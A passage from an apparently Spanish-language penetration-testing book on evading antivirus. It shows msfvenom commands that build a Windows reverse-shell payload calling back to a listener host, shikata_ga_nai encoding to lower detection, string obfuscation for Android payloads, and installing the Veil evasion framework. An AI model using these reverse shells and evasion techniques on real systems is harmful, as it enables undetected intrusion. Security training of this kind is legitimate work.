Evitar los antivirus
Introducción
La mejor defensa suele ser un buen ataque, motivo por el que los equipos de defensa hacen evolucionar sus técnicas teniendo en cuenta las de los atacantes.
Esta es la razón por la que las cargas payloads generadas por el Framework Metasploit son cada vez más conocidas y, por lo tanto, cada vez más detectables por los antivirus o los IDS/IPS.
Tomemos el caso de una sencilla payload generada por MSFvenom:
root@kali:/tmp# msfvenom -a x86 --platform windows -p
windows/shell/reverse_tcp LHOST=192.168.171.152 LPORT=3434 -f exe -o
/tmp/malicious.exe
No encoder or badchars specified, outputting raw payload
Payload size: 341 bytes
Final size of exe file: 73802 bytes
Saved as: /tmp/malicious.exe
El análisis de esta sencilla payload, que no dispone de medios de camuflaje, se puede llevar a cabo por el sitio VirusTotal (https://www.virustotal.com):
VirusTotal es un servicio gratuito que analiza archivos y URL sospechosas y facilita la detección rápida de virus, gusanos, troyanos y todo tipo de malware.
Dentro de VirusTotal, 51 de los 71 antivirus integran esta payload en sus bases de datos antivirales, lo que consigue que fracase el intento de comprometer el objetivo. Sin embargo, MSFvenom incluye funcionalidades para tratar de frustrar las protecciones antivirales.
Metasploit
1. Encoding
Como se explicó en el capítulo Los ataques en el lado del cliente, MSFvenom es el resultado de MSFpayload y MSFencode. Los encoders permiten modificar la payload para que no sea tan sencillo que las soluciones de seguridad la identifiquen.
La lista de encoders está disponible con el comando msfvenom--list encoders:
root@kali:/tmp# msfvenom --list encoders
Framework Encoders [--encoder <value>]
======================================
Name Rank
---- ----
cmd/brace low
cmd/echo good
cmd/generic_sh manual
cmd/ifs low
cmd/perl normal
cmd/powershell_base64 excellent
cmd/printf_php_mq manual
generic/eicar manual
generic/none normal
mipsbe/byte_xori normal
mipsbe/longxor normal
Por lo tanto, es posible codificar las payloads utilizando la opción --encoder (o -e) seguida del encoder deseado, así como la opción --iterations (-i), que permite especificar el número de codificaciones de la payload:
root@kali:/tmp# msfvenom -a x86 --platform windows -p
windows/shell/reverse_tcp LHOST=192.168.171.152 LPORT=3434 -e
x86/shikata_ga_nai -i 5 -f exe -o /tmp/malicious2.exe
Found 1 compatible encoders
Attempting to encode payload with 5 iterations of x86/shikata_ga_nai ...
Android
Si bien se reconoce que el malware está mucho más presente en los ordenadores, esto no significa que los teléfonos inteligentes no sean atacados. Por esta razón, durante varios años, muchos fabricantes de antivirus han estado lanzando versiones para móviles.
Evidentemente, estas versiones para móviles son diferentes de las versiones de escritorio para los ordenadores. De hecho, se deben tener en cuenta una serie de limitaciones, especialmente las de la batería, ya que ningún usuario aceptaría una autonomía de una hora para disponer de una seguridad mejorada. Esta «falta» de funcionalidad por parte de los antivirus que les permite cumplir con las restricciones significa que la gran mayoría de ellos realizan solo un escaneo por firma.
Muchos estudios destacan el hecho de que existen varios métodos para reducir el número de detecciones por parte de los antivirus. Los métodos más simples de implementar incluyen ofuscación de código (cadena de caracteres, nombres de variables, nombres de paquetes, clase, método, etc.).
Como parte de una carga generada a través de MSFVenom, la modificación de las cadenas de caracteres MSF, Metasploit o incluso exploit reduce drásticamente la detección de payloads por los antivirus.
El uso del comando -x en MSFVenom permite utilizar una plantilla básica para acercarse...
Veil
Aunque es posible eludir algunos antivirus gracias a las técnicas de encoding de MSFvenom, algunos de ellos son difíciles de engañar. Aquí es donde el cifrado añade nuevas oportunidades.
Sin embargo, aunque MSFvenom principalmente es una herramienta para crear cargas útiles, sus técnicas de elusión antiviral no son las más avanzadas.
El framework Veil (anteriormente Veil Evasion) es una herramienta diseñada para generar cargas útiles de Metasploit, que eviten las soluciones antivirales más comunes.
1. Instalación de Veil
De forma predeterminada, Veil no se instala en Kali. Sin embargo, su instalación es relativamente sencilla gracias al sistema de gestión de paquetes apt:
root@kali:~# apt -y install veil
root@kali:~# git clone https://github.com/Veil-Framework/Veil
root@kali:~# cd Veil/
root@kali:~/Veil# ./config/setup.sh --force --silent
[*] Initializing package installation
[*] Pulling down binary dependencies
[*] Empty folder... git cloning
[*] Installing Wine
[*] Adding i386 architecture to x86_64 system for Wine
[*] Updating APT
[*] Installing Wine 32-bit and 64-bit binaries (via APT)
[*] Creating new Veil Wine environment in: /var/lib/veil/wine
[*] Initializing Veil's Wine environment...
[*] Veil Wine environment successfully created!
[I] Done!
Una vez instalado, es posible iniciar Veil de la siguiente manera:
root@kali:~/Veil# ./Veil.py
==================================================================
Veil | [Version]: 3.1.12
==================================================================
[Web]: https://www.veil-framework.com/ | [Twitter]: @VeilFramework
==================================================================
Main Menu
2 tools loaded
Available Tools:
1) Evasion
2) Ordnance
Available Commands:
exit Completely exit Veil
...